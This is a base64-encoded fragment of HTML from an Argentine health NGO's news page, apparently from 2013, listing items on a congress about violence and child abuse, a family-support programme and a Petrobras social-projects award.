D4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9